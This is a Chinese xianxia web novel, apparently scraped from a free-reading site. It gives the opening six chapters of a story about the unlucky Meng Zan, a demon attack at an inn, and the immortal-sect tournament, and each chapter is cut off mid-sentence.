《反派小师弟救赎计划》 1. 第一章 《反派小师弟救赎计划》全本免费阅读 《救赎偏执反派小师弟》 文/傅翎 第一章 上凉长夜划破苍穹。 是夜,妖铃声骤然响起打破沉静,狂风从四面八方席卷而来,搅得竹影斑驳错乱。 天边一轮长月焕发着血色的长影。 方才白昼的天倏地黑了下来,轰隆一声闷雷,白光划过客栈里正襟危坐,紧抓着桌上剑的人。 道纹绣袍,明剑裹挟,孟簪一眼便认出这些男子来自道宗。 能把道宗的人惊动的,她拌了拌热乎的白米饭,想必定然是个大妖。 趁着众人没从这雷声反应过来,她夹了一筷子邻桌的肉放入碗内,顺便安慰了下方才被惊雷吓哭的小女孩。 “没事的,姐姐那么胆小都活到了现在,你肯定没事的。”对上年轻姐姐好看的杏眼,小女孩抽噎了几下,怯生生问道,“真得吗?” 少女拿布抹了抹嘴,伸出手指,煞有其事地承诺道,“真的,不然天打雷劈。” 下一秒,电闪雷鸣,整整三道雷声落下。 一道也不少,一道也不差。 孟簪:…… 真不给她面子。 空气中的妖气一下子浓了,并且以风驰电掣的速度朝来福客栈这里奔来。 “三。” 女孩不解地看着突然开始数数的姐姐,眨了眨眼睛。 “二。” 孟簪撂下筷子的响声响起的同时,那些个正气凌然的道宗弟子迅速抽出腰间的剑,剑出鞘破空的声音整齐划一,几人疾步分散开来,驻守在客栈东西南北四个方位上。 “一。” 朱唇微启,浓烈的妖气扑面而来,话音落的那刻,本就吱呀吱呀的门被黑漆漆的妖怪硬生生冲破了。 孟簪眼疾手快,一把抱着小女孩放在安全的掌柜台下藏好,手指抵在唇前,红唇微勾,本来清冷不近人情的长相多了几分亲切,“姐姐和你玩个游戏,好好躲着,不要发出任何声音来哦。” 听言,小女孩紧紧捂住自己的嘴,只余下一双眼乖乖地看着这年轻的姐姐嘱咐完话语后,几个翻滚,滚远去了。 “妖、妖怪啊!” 店掌柜吓得倒在地上,颤抖的手指指着黑漆漆的一团,惊得目瞪口呆。 “玄风,玄雨!” 一开始,躲在角落里的孟簪还以为是什么深奥的法诀,后来见到两边弟子点头的样子,才明白过来,原来是这二位弟子的姓名。 道宗以八卦见长,与剑法结合为阵,闻名于天下。 剑阵变幻无穷,一般人进去可真是吃不消。 但是这妖……孟簪默默收回自己探出的脑袋,冥冥之中她有预感道宗的弟子还真不一定收得了这只发癫的大妖。 虽说这几位的实力都在她之上。 但这妖跟有什么东西在背后追着它似的,比之正常实力要强了不下十倍。 孟簪打心底觉得这妖颠颠的,猫着腰就想逃离这块是非之地,毕竟于她而言,这些个道宗弟子就可以跟捏死一只蚂蚁似的把她给掐死。 这刀光剑影的,别伤到她就好。 “嘶。”孟簪摸了摸被茶杯砸到的脑袋,抬头和那团黑漆漆的大妖不巧对上视线。 霉运当头的孟簪尴尬笑笑,后撑着手迅速往后爬了几步,和这妖怪拉开了几步的距离。 然而,这妖又岂会轻易放过她。 只见,那庞然大物的妖一口死死咬住孟簪的衣襟拼命往外拖,所幸一把明剑穿风而来,及时斩断了被咬住的衣襟。 孟簪抬头,是那道宗为首的弟子挡在了自己前面,大气凛然地说道,“你这妖胡作非为不说,还要残害弱小,本想留你这妖一命,如今看来确实没有这个必要了!” 那弟子口中“弱小”的孟簪在那弟子义正言辞说话的间隙之中默默爬离了这块危险之地,这弟子看着年岁颇长,敢挡在自己面前,又敢贸然出手,想来必定英勇非凡,一定有所过人之处,应当不需要自己担心什么。 然而下一秒,不知是什么东西突然砸在了爬走的孟簪背上,差点没把孟簪砸得眼冒金星。 别说,背上的东西还有点沉,孟簪废了点劲儿才把东西从自己身上推开,一看,这不就是方才挡在自己面前的仁兄。 只是眼下这位仁兄看着很糟糕就是了,手整个得扭曲过去,拿在手上的剑被反捅入他胸膛三分,本来雪白的衣袍沾满了血,他的脸色苍白难看得可怕。 纵然都成这样了,这位清风明月的道长还要睁眼,费力对孟簪颤抖道,“姑、姑娘,我拦不住它,快跑。” 他眼中弱小的姑娘一屁股坐在地上,摆烂摊手道,“被你一砸,给我腿吓抽筋了。” 所以,孟簪此刻就算是想跑也跑不动。 “玄钟师兄!”一声心急如焚的喊声打破沉寂。 孟簪看向声音来处,是东面那个年岁最小的弟子喊的,他如今的一嗓子吸引了这妖的视线。 于是,这一团模糊的黑气闻声后毫不犹豫地朝东面飞去,千钧一发之际,这小弟子扔出了一张符纸,“火符,燃!” 明亮的火焰炸开,这妖后退躲避间还是免不了被沾染上火苗,但是这一炸,把这妖彻底给惹恼火了。 本来模糊的身影逐渐清晰——是一只鹿妖。 那小弟子能够扔出火符已然是黔驴技穷,如今吓得都腿软的他压根听不见其他方位师兄弟传来的话语。 而这鹿妖步步靠近,那小弟子的心都提到了嗓子眼上。 屋外这时又传来一声雷响,清晰的孩童哭声破天响起。 孟簪暗道一声遭了,方才那弟子的一嗓子让她意识到,这鹿妖在夜晚视力不好,只能依靠声音辨别方位。 而今走去的方向恰然是孟簪方才放下小女孩的地方。 而那小弟子却是死里逃生地松了一口气。 他丝毫不在意那小女孩的死活,他的命可是道宗弟子的命,自然要比寻常百姓珍贵上不少的。 所以,他选择性的忽视了师兄开阵的命令。 气急的玄雨只好放弃东面一角,厉声道,“道宗弟子听我命令,开阵!” 八卦阵在中心旋转开来,天罗地网的金光罩下,带着锁链的声音把鹿妖困在了中间。 三面道宗弟子身上源源不断的金色灵力支撑着这个锁灵阵。 孟簪趁着这个几秒的喘息,顶着抽筋的腿爬到了掌柜台下,她身上沾了血,小女孩见到她的那一刹那,哭得更凶了,尖细的孩童哭声刺耳。 但孟簪脸上却没有半点不耐烦,将自己手心的血在衣角上擦了擦,擦得干净些了,才摸了摸女孩的头,“别哭,不是姐姐的血,姐姐没事,你躲得很好,姐姐差点就找不到你了。” 女孩被孟簪的话转移开了视线,抬着头怯懦地问,“真得吗?” “真得,姐姐要是骗你天打雷劈。”孟簪刚说完这句 2. 第二章 《反派小师弟救赎计划》全本免费阅读 第二章 孟簪在相信自己被人救了和怀疑自己做梦中间。 毅然决然,不带半点犹豫地选择了后者。 噫,果然是个梦呢。 是怀中小女孩的声音唤回了孟簪思绪,“姐姐,有人救了我们诶!” “是个长得很帅、非常帅、超级帅的哥哥呢!” 孟簪的脑子在听到帅的那刻骤然回神,“帅哥?哪里有帅哥?” 小女孩被孟簪给晃晕了,手指颤颤巍巍抬起指向门口处,可屋外此刻风清月明,孟簪没有看到任何人的人影。 除了眼下化为一堆黑灰的鹿妖提醒孟簪方才发生的一切都是真实的,而不是一场梦境。 “师兄!”道宗的人蜂拥而上团团围住为了救孟簪而受伤的那位道长。 那道长被众人扶起,递给身旁最近的一个弟子一个眼神。 那弟子会意朝孟簪走来,“姑娘你没事吧?”那弟子拉起孟簪,规矩地行了个礼,递给了孟簪一柱香,“这香安神的作用,姑娘若是害怕可以点在床头。” 孟簪点点头,目光越过弟子,看向那位道长,“谢过道长救命之恩了。” 救了孟簪的玄钟被师门兄弟从地上扶起后,失血过多的面色可见得苍白,本来一尘不染的白袍此刻沾满了鲜血。 “师兄——” 是东面的那个小师弟喊的,重伤到这个地步的玄钟在小弟子上前瞬间,用没受伤的手一巴掌扇在对方脸上,低哑的声音吼道,“滚!” 递给孟簪香的弟子站在原地,瞳孔震了震,抿着唇什么都没说,孟簪意识到这是他们之间的事,自然也不会掺和上去。 抱着小女孩噔噔噔几步就远离战局,跑到了楼上。 “找你娘去吧。” 小女孩先是有些舍不得孟簪,但很快就跑走了。 楼下的争吵远去了,孟簪翌日醒来的时候,已然不见他们的身影。 一切恢复照旧。 唯有这来福客栈的掌柜还是一副惊魂未定的模样。 “掌柜,满了。”孟簪提醒了一句,不料这掌柜手一抖,热水直接浇在了孟簪手上。 “对不起!对不起这位客官!”掌柜慌乱地拿起一旁的抹布擦拭孟簪的手,孟簪摇了摇头,收回自己的手,平静道,“无碍。” 只是她问了句:“昨天道宗的弟子是为何来此?” 掌柜的抱着愧疚,对于孟簪此时抛出的问题,毫无保留告知道,“他们没有明说,但是从谈话中听到,他们为参加仙门大比而来。” — 仙门大比四年一次举行,今年是在凉州举行。 客栈爆满,此时刚从郊外而来的道宗弟子们和店中的小二陷入了僵持。 店家小二也是实在抱歉道,“对不起客官,实在是没有房间了。” 扶着玄钟的玄雨面上也有些尴尬道,“可不可以行个方便,我师兄受了伤,随便来间小房也可以。” 玄雨没遇到过这样的状况,此时也是硬着头皮开口。 “麻烦你了。” 奚落的笑声从楼上传来,“这不是玄钟吗,几日不见怎么那么狼狈了?” 说话之人金丝绣衣,大腹便便,肥肉堆积起的眼睛只有细细一条缝。 “没钱就滚远点,跟只哈巴狗的祈求真是可怜。” 玄钟没有开口,他认得对方,是京城赫赫有名的庞公子,虽说这个名算不上什么好名声,但是他也惹不起对面,而且出门在外师父叮嘱过玄钟切不要节外生枝。 靠着乞讨进城的孟簪恰好听见这句话。被意有所指的她抬头,一眼就看见了站在二楼的庞然大物。 胖男子的视角有限,没看到孟簪看着自己。 穷如孟簪倒还真不觉得乞讨有什么丢脸的,总比饿死街头要强得多。 她已经找了很多家客栈了,都没找到自己宗门的人。 “道长,好巧。那个,我可以插个队问小二个问题吗?” 玄钟认出了孟簪,微微颔首表示默许。 “小二,你有见过戴着这块令牌的人吗?”孟簪将令牌放在桌子上让店小二可以更清楚地辨认。 店小二凑近了些看,在孟簪紧张到心都提到心口的时候,他点了点头,不过面上颇有些犯难道,“见是见过,不过赶巧他们眼下都不在客栈内,也没有吩咐我说会有姑娘来。” 言下之意,就是只能等几人回来确认后才可以放孟簪住下。 孟簪倒是没有异议,她扭头方想说话,一旁有人喊住了他,“姑娘,我们师兄是为了救你才受伤的,你既然可以住下,可否让我们师兄也一同……” “玄雨!”玄钟喊停了玄雨的话语。 玄雨闭上嘴,可是眼里满是灰心丧气。 “我努力。”其实玄雨不开口,孟簪也会帮忙询问一句的,实在不行,孟簪可以打地铺。 孟簪:“道长既然是为我而伤,那我自然是不可能视而不见的。” 孟簪一句话打破了僵局,玄钟先是颇为羞赧,但是他也知道他如今的情况确实需要养伤,便低声谢道,“那麻烦姑娘了,如果不行的话,也没有关系。这件事到底还是麻烦你了,谢谢姑娘。” 孟簪摆摆手,对着一句话两个麻烦,一个谢谢,格外客气的道长问,“我好像还没问过道长名讳?” “玄钟,语罢暮天钟的钟。” 找到宗门了,孟簪悬着的心总算是放下些许,总算不用露宿街头了,孟簪此刻的心情快乐得快要飞起。 她和道宗几人告别后,打算先在街上随便看看,见不远处前方围了一大群人,本着凑热闹的心态,孟簪进了人群,是一个赌注,赌谁会是今年仙门大比的魁首。 其中不乏有孟簪听过的苗家小公子苗昊,来自北冥国的北冥凌,还有江湖侠客宋故封。 苗家小公子以术法见长,一身法术出神入化。 而这个叫北冥凌听说是自小学习画符,眼下据说对于符纸使用已达到了炉火纯青的程度。 至于宋故封是这次杀出的一匹黑马。 这些都是孟簪从路上客栈讨论的人那儿听到的消息。 不过话说到底,对于孟簪而言这些都是热门选手,算不上夺冠的人选。 真要说夺冠的人选还得是—— “还得是咱们家玉垚啊!” 孟簪看向说话之人,嗓子跟个喇叭似的格外亢奋道,“咱们家玉垚公子一手泠光剑舞得恰似人间仙人,这次的魁首不是他又是谁?” “苗家那小子纵然法术不错,但身法极差,脾气极差!北冥国那选手的符术要真比起玄门专业学符的弟子差得还是极远 3. 第三章 《反派小师弟救赎计划》全本免费阅读 第三章 孟簪回到客栈的时候,道宗的那几个弟子几乎是立刻得像堵密不透风的墙围了上来,拦住了孟簪的去路。 一脸懵的孟簪:??? 为首的是当初递给孟簪香的那位弟子,不知听了旁人什么闲话,眼下看着孟簪的眼神带着深意,颇为埋怨的口吻开口, “你怎么现在才回来!刚才跑到哪里去了?” 面对玄雨的质问,对眼前仗势还没回过神的孟簪直接愣住,此时来自楼上一声不重不轻的少年嗤笑打破沉寂,“我宗门的弟子去哪儿为何要跟道友你汇报?” 孟簪好奇地转头望去。 楼上的光有些昏暗,却见玄衣少年手臂撑在围栏旁,墨玉似的黑眸半敛,似乎只是漫不经心地发问,嘴角带着几分恰当好处的笑意,火红的发带隐隐约约从少年的发间露出。 “还是,你觉得我们宗门的人很好欺负?”少年漂亮的含情眼微微眯起反问道,霎那间风平地而扬,在这宁静的夏夜,传来窸窸窣窣的树叶声伴随着几句的蝉鸣,对方没看孟簪,但话语里却满是对孟簪的偏袒。 但当事人孟簪却格外清楚知道,此刻就算不是自己,若是宗门别的人,小师弟也会这般开口相助。 谁让小师弟的人品是整个宗门公认的好! “自然不是的!我只是为了我师兄!” 伴随着玄雨的声音,周铭打着哈欠从自己的房间走出,无意瞥见下面,哟,这女子看着还真眼熟。 这不就是白日里给自己加油下赌注的女子吗? 怎么还追到客栈来了!? 周铭用没睡醒的脑子都想到对方是不是暗恋自己这一步的时候,骤然醒悟,哦,对方是自己宗门的弟子。 死要面子的周铭后退了几步,整理了下自己的头发,还特意跑到镜子前检查了自己的衣服是否整齐,确认无误后,才一副睡眼惺忪的样子再次走到了谢赴星的旁边,“怎么了小师弟?” 少年唇角噙着几分笑,说不出来是真情多些,还是假意多些,但是他眉眼生得乖巧,此刻就算是有些冷笑,都让人察觉不出冷意。 “这些个道友不由分说就对我宗门的弟子动手脚,是不是有失公允?” 公不公允,周铭不知道。 但是既然上升到了自家宗门的事情,周铭自然是护着自家宗门的人的。 “你们方才对柳姑娘出手了?” 柳? 孟簪意识到他们顺理成章得把自己误以为是柳拂云了。 “师兄本就是为了救她而受伤的!难道柳姑娘不该为此负责吗?” 玄雨也把话摊开说了,指着孟簪一字一句道,“我师兄为救你而受伤,是或者不是?” 孟簪看着对面的人默不作声了几秒,毫无保留地点头,“嗯。” “来福客栈,倘若不是我师兄你便死在那妖的爪下,是或者不是?” 周铭听到来福客栈觉得有几分耳熟,一会儿才拍着脑袋骤然醒悟,朝谢赴星嘀咕了一句。 “师弟来福客栈,不就是你那日斩杀的妖?” 空气安静了几瞬,良久,传来少年一句轻声的嗯。 清晰传入在场人的耳中。 那日的场景除了孟簪和玄钟没看到,道宗的弟子却是看得清清楚楚的。 天光一亮,轰隆的巨响之中,几个瞬间那妖便化作了黑漆漆的一团飞灰。 而出手的少年指尖淌着雷电宛若是从地狱而来索命恶鬼的阎王爷。 明明笑容乖巧却出手狠决。那双含情眼微眯,像是极其愉悦般,眉间的一点朱砂宛若血一般妖冶,他黑眸带着夜的凉,无情而冷漠。 “我师弟救了你们,而你们现在这里威胁我们师门外门弟子是不是太过分了些,再说为天下苍生为己任,是你们师兄的选择,怎么还道德绑架我们来了?” 周铭是见到玄雨咄咄逼人的态度的,所以眼下的语气也是维持不住的礼貌。 “怎么了?”玄钟昏昏迷迷在外面的椅子上睡着了,这会儿被人扶着进来,看了眼屋内剑拔弩张的众人有些茫然,“是怎么了吗?” 他的目光最后落在孟簪身上,“是怎么了姑娘?” 玄雨紧紧攥着身侧的衣襟,失去了方才对着孟簪质问的气势,像是被戳破气的球,突然噤了声。 “周师兄,我们宗门可否还有多余的床榻?”是孟簪不答反问。 周铭会意,“嗯,自然还是为你留了一张的。” “好。”周铭莫名觉得这个好,大抵和自己理解的不太一样,果不其然,下一秒,孟簪转身对这位显然看起来和那些质问她的人是一伙的,穿着白色道袍的玄钟道,“道长住下便是。” 周铭立马蹙眉问道:“那你怎么办?” 孟簪扭头看向玄钟,沉吟了一会儿,发问,“要不、我在道长一旁打个地铺。” 玄钟自然是不好意思的,挠了挠脑袋,“不了不了,不如姑娘睡床,我打地铺。” 周铭皱眉,欲言又止,正打算朝身旁的谢赴星发问。 “师弟要不咱俩挤一张……”床? 可身旁空荡荡的,哪里还有半分谢赴星的影子。 周铭在心里苦兮兮地叹了口气,对这楼下的孟簪严肃发问。 “那柳师妹你想好了?”周铭是不赞成她这般做的,但是倘若对方真得想好了,那周铭也只好尊重她的选择。 孟簪抬头,见楼上只剩下周铭一个人,心头不由得一阵失落,但也只是很快的一瞬,她朝周铭点点头,“我想好了的,周师兄。” 她倒也不是真想逞什么英雄,但是对于这位礼貌的玄钟道长,她还是愿意怀一份善心的。 “你跟我来吧。”这句话是周铭对玄钟说的。 至于孟簪,后来也并没有和玄钟共住一个房间。 那个晚上,有个住客恰好退了房间,孟簪问周铭借了钱,也是有了房间住下来。 倒霉多年的孟簪觉得,一定是老天显灵了。 看在她走了那么多年的霉运,终于要开始走上人生巅峰了吗。 实际上,好端端住着,大雨天为了让孟簪——这位信封里姐姐叮嘱过要好好照顾的人住下来而退房的小可怜抱着自己,看着漫天暴雨叹了好一大口气,“这连着那么多天晴天,怎么这姐一来连续下了好几天的雨了。” 不懂,这姐是招雨的吗? 第二天起床,孟簪找周铭拿了比赛的顺序单。 “第一日的初赛过半,今日剩下的是初赛和复赛。你今日对阵的人我昨日遇到了,实力和你差不多,但是剑法很快,你小心点便是。” 4. 第四章 《反派小师弟救赎计划》全本免费阅读 第四章 倘若是正面单打独斗,孟簪知道她定然是赢不过对方的,所以想要赢下这第一局,得靠智取。 在楼上人关注战局的时候,台下近距离观战的周铭也在为孟簪捏一把汗。 不知为何,周铭觉得,孟簪不像是一个那些个内门弟子口中的说的那般玄幻。 按理说,这柳拂云应该是个打遍外门无敌手的女弟子,而是不是眼前这个…… “啊啊啊救命啊——” 那么看下来,好像也就长得很漂亮这点,比较符合。 可是,周铭看见宛若女鬼的柳师妹披头散发地在台上狂奔的模样,无奈地在心底叹了口气,算了算了,大不了就认输,还能要了他这位柳师妹的命不成? 虽说正面单打独斗,柳师妹可能打起来会比较吃力,但像这样在这台上漫无目的逃跑,显然更加难以取胜。 周铭想不明白这柳师妹到底在想些什么。 而孟簪的对手也是和周铭一样的不理解孟簪的行为。 对于孟簪这种拖延的打法,他终于是没有耐心地提了剑砍下,打算把孟簪逼到台子的角落上。 计划很顺利,但正当他出剑朝孟簪捅去的那一刻,少女一个右健步,敏捷地躲开了自己的攻击,而巨大的冲力,男子根本来不及反应就从比斗台角落摔落。 他双手撑在身后,抬头,透过晨光熹微,少女朝他伸出手,“承让。” “无花宗,胜!” 周铭被这眨眼间反转的局势惊掉了下巴。 惊得一整个目瞪口呆。 啊,这也行? “周师兄?” 周铭意识到自己这般反应有些失态了,当即对孟簪伸出了大拇指,毫不吝啬地夸赞道,“柳师妹身手矫捷,这一招出其不意倒还是真是令人意想不到。” “恭喜你啊,柳师妹。” 本以为此局对于柳师妹是凶险万分,周铭一点儿都没想过孟簪可以赢,此刻他也是真心在替孟簪开心。 孟簪点点头,目光不知看到了什么,停在了周铭身后。 疑惑的周铭顺着孟簪的视线,脑袋往后转,看清来人那刻,挥着手臂,开心地呼唤道“小师弟!” 三个字别提有多亲切了。 来人眉间朱砂艳艳,莹白的衣袍勾了红色的边,手臂中抱着佩剑上的剑穗在空中抛过一个漂亮的弧度。 束发高冠,颇为意气风发,少年开口宛若扣落棋子清润,一句“师兄。” 而作为师兄的周铭对于小师弟的胜利习以为常,一把勾住对方的脖颈,神采奕奕道,“怎么样,我可是听说了!你今日的对手是王家那位嚣张跋扈的公子哥,最喜欢用那些不入流的招式了,你没有被那些个下三滥招式伤到吧?” 孟簪站在后面,看着两人,不知为何觉得自己好像离小师弟很远,纵然是站在他身后,但两个人之间就好像毫无干系的两棵树,一个长在最东边,一个长在最西边。 只从后面隐隐约约听到,小师弟这一场打得很漂亮。 应当是自然的,小师弟的实力本就在仙门弟子之中出类拔萃,在出发前更是闭关三个月苦练过。 孟簪打算先回到客栈休息,路上恰巧经过昨日的铺子,她扭头一眼就在众多的木牌之中看到三个隽秀字迹雕刻的谢赴星三个字。 像是冥冥之中存在的宿命感。 她走进了店铺。 “姑娘是来压谁的呀?” 孟簪不自觉走到店里,今日店里的小二眉清目善,看着孟簪的时候眉眼都是笑吟吟的,孟簪掏进荷包里,在探到本就不多的银子时,在心底微微叹了口气。 “没什么,我随便看看。”她摆手,礼貌微笑道。 孟簪第一次如此痛恨自己的贫穷,如果不是不好意思再问周铭借钱,孟簪倒是想全压谢赴星的。 虽说凭借她十多年的霉运,一般她压谁,谁就赢不了。 正当她抬步打算离去的时候, “姑娘需要帮忙吗?” 清冷低沉的男声从背后响起。 孟簪回头,是个颇为合她眼缘的帅哥。对方茶色偏棕的长发披散,只一根白色的发带松松垮垮的束起上方的几簇发丝,苍蓝的常服,袖口绣着的纹路古朴,孟簪觉得有点眼熟,但很快对方便放下手,挡住了孟簪的视线。 “你想压谁,我可以帮你压。” 孟簪不傻,自然知道天下不会白掉馅饼,委婉地拒绝了。 对方倒也不在意,跟她闲聊道,“仙门大比四年一度,姑娘心里可有这次仙门大比魁首的人选?” 孟簪是知道自己的霉运的,自然也不会说小师弟的名讳,随意在里面看了一眼,随口向男子回复道,“苗家的苗昊不错。” “为何?”对方的问题让孟簪一噎。 孟簪自然不能说出心底话,于是瞎扯道,“他很独特。” 是的,在一群三个字的名字里,两个字的名字能不独特吗? 但是孟簪自然不会把心里话说出来的。 更何况,她说出口的话必然事与愿违。 这叫苗昊的哥们要倒霉了。 后来几天的比试,孟簪都是险胜,抽中三名的弟子恰好和自己的实力难分伯仲,就那么苟进了二轮的秘境。 实际上,在另外一边,按照姐姐命令偷偷将孟簪签交换的大冤种此刻被李玉垚打得六亲不认、鼻青脸肿。 姐,你这朋友签是真烂啊—— 拿到入围名单后,周铭做的第一件事便是找孟簪。 周铭拍了拍孟簪的肩,一副江山大有人才在,咱们宗门占一半的姿态,豪放道,“恭喜你啊柳师妹,成为卡位进入二轮秘境的最后一人。” “你实力虽然是晋级之人里最低的,但是今年的秘境考核有所变化,据说是依靠抽签组队。” 周铭说完,举杯跑去一个个敬酒去了,剩下孟簪坐在桌上,对着一圈都不熟悉的内门弟子,低头吃饭。 吃完饭,已然深夜,看着庭中挑灯舞剑的身影,有些醉的孟簪朝周铭发问,“小师弟还不去睡吗?” 酩酊大醉的周铭先是探着身子睁大眼睛看了几眼,很快摇摇晃晃,摆摆手,随意道,“没事的,让他练吧,毕竟小师弟也不是战无不胜的,要说,他以前可是经常被他师兄我吊打的呢!” 周铭得意洋洋地叉腰,“哈哈哈哈哈!我左勾拳,再一个右勾拳。” 吊不吊打不好说,但是孟簪看出来,周铭师兄是真得醉了。 周铭被其他几个师兄弟扶远了,驻足原地的孟簪看了眼庭中练剑的身影。 不知为何,有种来自于心底的,希望小师弟可以夺魁的期望。 二轮秘境那天,是个不折不扣的大晴天。 本来热闹的街市上,今日更是堆满了看热闹的人群。 孟簪翻开抽的签,签上的数字是七。 她随便扫了眼周围,发现没 5. 第五章 《反派小师弟救赎计划》全本免费阅读 第五章 “你醒啦?”黑暗中火焰跳跃,少年抱膝坐在火推旁,靠近火光的衣摆可见地烧黑了一块。 他紫云的眸看向孟簪,纯粹的好像紫水晶,带着几分小心翼翼,“你已经昏睡一日了。” 说着,对方用树枝翻了翻火堆,头搭在膝盖上,银色的发丝垂落,披散在肩前、背后,少年低垂着眉眼,一副岁月静好的姿态。孟簪看清对方腰间的号码牌。 七号,和孟簪一样的数字便说明两个人是队友。 既然如此,对方至少不会伤害自己,孟簪想着放下了几分心,靠在岩洞的壁上,阖上了眼。 “你的手好像受伤了,是他们干的吗?” 少年接住孟簪那刻就注意到了对方双手的血,抓痕很明显是被人抓的。 只不过他也没有那么泛滥的善心,对于她经历了什么,他不是很想了解。 “我运气不好,自己摔的。” 他,以为她会承认下来,再卖个惨。 也只是一秒的不自然,他扯了扯唇角,“是吗,那确实是不幸呢。” 孟簪心想,总归不能有更不幸的事情出现了。 腹部被踹了一脚的疼痛提醒着孟簪发生的一切。 她别过头,肚子不争气地叫了起来。 一旁传来了轻笑声,“也是,昏睡了那么久该饿了。” 孟簪抬头,少年撑着脑袋,眼眸含笑,好整以暇地朝她递来鱼,“喏,来吃点?” 孟簪犹豫了几秒,接了过来。 “谢谢。” “那么信任我,不怕我在鱼里下毒?”眼见孟簪结果毫不犹豫地要咬下第一口鱼,少年好整以暇道。 孟簪咬了一口,嚼了嚼,如她所料的没熟,她掀眼反问,“你看着不像是这样的人。” 对方目光坦荡,倒是让北冥凌哑然了一瞬。 “还有这鱼没熟,下次别烤鱼了,鱼都死得死不瞑目的。” 孟簪收回刚才的话,果然祸不单行,刚想着不会有更倒霉的事情了,方才吃的鱼让她感到这鱼痛苦的一生。 “死不瞑目?”少年一副不敢置信的目光看向孟簪。 “嗯,鱼太感动了,你把它烤得可以那么平均,平均的一半是焦的,一半是生的。”孟簪顿了晌,“平心而论,你还是挺厉害的。答应我,下次不要再烤鱼了,对你对我和对鱼都好。” “可是秘境里也没有什么别的吃的东西啊?”少年咬了口自己烤焦的鱼,忍住吐出来的冲动咽了下去,这女的有点邪门的,刚才吃下去的面无表情的,给了北冥凌一种其实也没有那么差的错觉。 …… 是夜,北冥凌熄灭了火堆,抱着准备好了的被子找了个舒服的角落躺下。 这个时候,他睁眼,对上月光下明亮的一双杏眼,“你还带被子了?” 北冥凌不置可否,“嗯,出来自然是要准备周全的。” “你过得还挺精致的。”孟簪在没进无花宗前,是和师父住在一起的。 也许是被孟簪这一句精致给刺激到了,北冥凌反问,“你难道不是这样的吗?” 孟簪摇了摇头,“我每天都在换地方住,住的地方很大,而且有很多的雕像,躺下的时候还可以看到星星。” 这些话在北冥凌脑中自动翻译过来就是。 换地方住,那就是没有住所,居无定所,每天都在流浪。 住的地方很大,有雕像,一般符合这两点的地方那就是破旧、年久失修并且荒僻的寺庙。 躺下可以看星星,说明屋顶还是漏的。 很好,北冥凌看着对方都觉得有些心疼了。 “要不我把我的被子给你?” 对方好像有些不太好意思,娇羞地问道,“可以吗?” 北冥凌更笃定了方才自己的猜想,“没事,我身体好,真男人睡觉都是不盖被子的!” 孟簪脸不红心不跳地接过对方赠予自己的被子,她没来得说,那都是师父口中孟簪三岁不到的生活,孟簪都不记得了,只是师父经常挂在嘴边。 “谢谢。” 孟簪发自内心地感谢这位仁兄,夜晚降温了,她之前也是被冻醒了。 北冥凌一副不用跟我客气的姿态,温和道,“没事没事,你盖着就好。对了,你的手要不要我给你涂一下药?” “无碍,我明天自己包扎一下就好,不麻烦你了。” 孟簪说到你字时顿了下,她好像还没问过对方的名字。 对方显然也意识到了,轻咳了一声,“叫我小凌就好。” “好,小凌。” 交谈结束,孟簪拢了拢被子,一夜无梦。 第二天,孟簪是被争吵声吵醒的。 一睁眼,她就看到了昨日的女子和她口中的傅师兄。 而和自己相同号码牌的小凌好像在听对方激烈地控诉着什么,默不作声。 “哟,睡醒了?” 孟簪没想到自己还没找对方的茬,对方就先自己找上门来了,面上丝毫没有惧色,“嗯,你还有脸上门啊?” 反客为主。 孟簪笑了笑,“如果我是你的话,现在估计就找个地洞钻进去了。” “贱人!要不是你,我们就打赢那妖兽了!” “哦?”孟簪明知故问道,“哦,是靠逃跑,跑死那只妖兽吗?那确实挺厉害的,要我为你鼓个掌吗?” 一旁北冥凌没忍住,笑出了声。 “你废话别说,这妖丹是属于我们的,你快些给我。” 孟簪点头,“嗯,你们不要脸造诣高,确实这东西确实应该是不要脸给谁。” 一旁听着的姓傅的师兄脸都黑得跟锅底一样了。 可偏生不知道是顾及着什么,全程都不像昨日那般对孟簪出手。 “你们要妖丹,很简单,跟我磕个头道个歉,我就承认这妖兽是你们跑死的。”孟簪好看的杏眼徐徐扫过在场的女子和她那位傅师兄。 对方显然都不像是愿意道歉的人。 孟簪自然也没想得到两人的道歉,只不过,对方眼下的态度让孟簪确认了一件事,这个小凌果然非等闲之辈。 两个人都忌惮于他,说明他的实力远在这两人之上,亦或者是有什么特殊的地方。 “怎么样,想好了吗?不答应也没关系的,反正趁我一个人的时候直接往我手上抢不就好了?” 见孟簪戳破了两人心中所想,两人都是神色一变,有些不大自然,“你在瞎说什么?” 孟簪笑而不语,不是很想去理这两个人。 “小凌,我收拾的差不多了,我们走吧。” 见孟簪要走了,女子慌了,“慢着,这个妖兽的丹药可以救我姐姐的命,所以你可以不可以发发善心把它给我。” “救人者先救己。”孟簪看着对方的眸,“你在恩将仇报的时候就该想到这一刻了。” 北冥凌全程都没发言,在后面的他跟上孟簪的步伐,“你真不给她?” “得亏我活着,要是我真死在那妖兽爪下,她不会为我心疼半分,同样的,我也做不到以德报怨。” 孟簪看向郁郁葱葱的密林,“她若是真想要,有千千万万种方法。” 少年没想到这女子看着傻白甜,实际上脑袋倒是拎得清得很。 他双手枕在脑后,懒散地跟在孟簪后面,“你是哪个宗门的?” “无花宗。” “哦?那你可认得无花宗的谢赴星。”少年像是随口一问道。 孟簪拨开两边拦路的竹子,回答:“嗯,那是我小师弟。” 下一秒就听少年干净利落的一句,“师姐。” 给孟簪吓得收回了手,转头看向他,“为何唤我师姐?” 小师弟都从未唤过自己一次师姐,没想到眼前的人却 6. 第六章 《反派小师弟救赎计划》全本免费阅读 第六章 大雨将至之前,孟簪如愿找到了个避雨的地方。 抱着臂,孟簪看着大雨一时有些走神了,直到被身后不远处的银发少年提醒,“柳姐雨飘进来了,你躲进来些吧!” 柳姐两个字让孟簪顿时想起方才尴尬的一番介绍,她扭头向高冷帅哥认真解释道,“你好,我叫柳拂云,无花宗弟子,但是我有必要解释一下,我并没有小凌口中那般和小师弟熟悉,我和他不熟。”但是我倒是很想和他熟。 冷面帅哥方才准备开口,却被北冥凌抢了先,“柳姐,你偏心!怎么对待他就那么有耐心,对我就只有冷嘲热讽。” 冷面的帅哥幽幽道,“再撒娇就把你扔到雨里去。” “柳姐!你看他!”北冥凌一副小媳妇受气的样子让孟簪颇有一种带孩子的感觉。 孟簪:也就提前体会了把当妈的感觉。 不知道是意识到了什么,北冥凌扯着孟簪的衣袖,躲在她身后,明明比孟簪还高半个头的个子微微弯下腰,只露一双圆溜溜的眼睛看向对面的人,“你怎么不介绍下自己呀?咱们柳姐都自报家门了。” 